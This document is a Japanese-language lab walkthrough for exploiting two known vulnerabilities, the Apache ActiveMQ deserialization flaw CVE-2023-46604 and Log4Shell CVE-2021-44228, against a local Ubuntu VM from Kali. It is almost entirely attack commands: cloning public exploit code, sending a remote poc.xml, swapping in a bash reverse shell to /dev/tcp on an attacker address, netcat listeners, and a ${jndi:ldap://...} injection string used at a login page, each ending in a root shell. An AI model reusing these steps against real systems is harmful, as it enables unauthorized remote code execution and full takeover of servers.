
CVE-2021-44228 および CVE-2023-46604 の脆弱性を悪用するための手順
このラボでは、CVE-2023-46604 の脆弱性を悪用する方法を説明します。
このラボでは、2台の仮想マシンのインストールが必要です。Kali Linux 2023.4 マシンと Ubuntu 22.04.3 LTS マシンの2台です。以下からダウンロードできます。

Kali Linux マシンの場合:
git をインストール
$sudo apt install git
gedit をインストール
$sudo apt install gedit
Ubuntu マシンの場合:
git をインストール
$sudo apt install git
openjdk 18 をインストール
$sudo apt install openjdk-18-jdk
ActiveMQ 5.18.2 パッケージをインストール
$sudo su
$git clone https://github.com/dcm2406/ApacheActiveMQ
$cd ApacheActiveMQ/
$tar -xf apache-activemq-5.18.2-bin.tar.gz
Ubuntu マシンで ターミナルウィンドウを開き、以下のコマンドを実行します:
$sudo su
$cd ApacheActiveMQ/apache-activemq-5.18.2/bin/linux-x86-64
$./activemq start
サービスの状態を確認します:
$./activemq status
サービスが正常に起動すると、ターミナル画面に "ActiveMQ Brocker is running" と表示されます。
また、http://127.0.0.1:8161 にアクセスすると、ActiveMQ ブローカーマネージャーを開くことができます。ホスト名、バージョン、ID、稼働時間、その他の情報が表示されます。
Kali Linux マシンで
エクスプロイトのプロセスに必要なリソースをダウンロードします:
$sudo su
$git clone https://github.com/dcm2406/CVE-2023-46604
$cd CVE-2023-46604
$ls
ご覧のとおり、exploit.py と poc.xml の2つのファイルがあります:
リソースのパスで Web サーバーを起動します:
$cd CVE-2023-46604
$python3 -m http.server
新しいターミナルウィンドウを開き、exploit.py ファイルを介して poc.xml ファイルをターゲットのサーバーに送信します:
$sudo su
$cd CVE-2023-46604
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
コマンドが実行されると、ターゲットマシン上で Calculator アプリケーションが起動します。これにより、脆弱性が正常に悪用されたことが証明されます。続けて、ターゲットマシンを制御するためのリバースシェルを作成します。
新しいターミナルウィンドウを開き、リバースシェルの接続を待ち受けます:
$sudo su
$nc -nlvp 4444
前のターミナルに戻り、poc.xml ファイルを編集します:
$gedit poc.xml
値 gnome-calculator を bash -i >& /dev/tcp/192.168.132.130/4444 0>&1 に置き換えて、ファイルを保存します。
悪意のあるコードを再度送信します:
$python3 exploit.py -i 192.168.132.135 -p 61616 --xml http://192.168.132.130:8000/poc.xml
このコマンドの結果、ターゲットマシン上で root シェルを取得できました。ROOTED!!!
このラボでは、2台の仮想マシンのインストールが必要です。Kali Linux 2023.4 マシンと Ubuntu 22.04.3 LTS マシンの2台です。以下からダウンロードできます。

Kali Linux マシンの場合:
git をインストール
$sudo apt install git
gedit をインストール
$sudo apt install gedit
Ubuntu マシンの場合:
git をインストール
$sudo apt install git
docker をインストール
$sudo apt install docker.io
Ubuntu マシンで
ステップ 1: openjdk をダウンロード
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
$tar -xf jdk-8u20-linux-x64.tar.gz
ステップ 2: Docker ファイルをダウンロードしてビルド
$sudo su
$git clone https://github.com/dcm2406/web-server-cve44228
$docker build -t cve44228
$docker run --network host cve44228
上記のコマンドを完了すると、Web サイトが作成されます。Web を閲覧するには、http://<ubuntu_ip>:8080 を使用できます。このチュートリアルでは、アドレスは http://192.168.132.135:8080 のようになります。
Kali Linux マシンで、脆弱性を悪用するために必要なリソースをダウンロードします
PoC をダウンロード
$sudo su
$git clone https://github.com/kozmer/log4j-shell-poc
$pip install -r requirement.txt
openjdk をダウンロード
$sudo su
$wget https://www.cs.ait.ac.th/~marikhu/installers/jdk-8u20-linux-x64.tar.gz
//move the openjdk file to the directory containing the poc file
$mv jdk-8u20-linux-x64.tar.gz <path to the directory containing the poc file>
$tar -xf jdk-8u20-linux-x64.tar.gz //unzip the file
新しいターミナルを開き、リバースシェルの接続を待ち受けます:
$sudo su
$nc -nlvp 9001
PoC ファイルを使用して LDAP サービスと HTTP サービスを起動します
$sudo su
$cd log4j-shell-poc
$python3 poc.py --userip 192.168.132.130 --lport 9001 --webport 8080
コマンドは次のような結果を返します
[!] CVE: CVE-2021-44228
Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.132.130:1389/a}
[+] Starting Webserver on port 8080 http://0.0.0.0:8080
Listening on 0.0.0.0:1389
ここでは、生成された jndi 値のみに注目します。 Web ブラウザを開き、先ほど作成した Web サイトのアドレスを入力します。 jndi 値を使用してログインします。このとき、netcat のターミナルが接続を受信します。 ROOTED!!!
サポートが必要な場合は、[email protected] までメールしてください。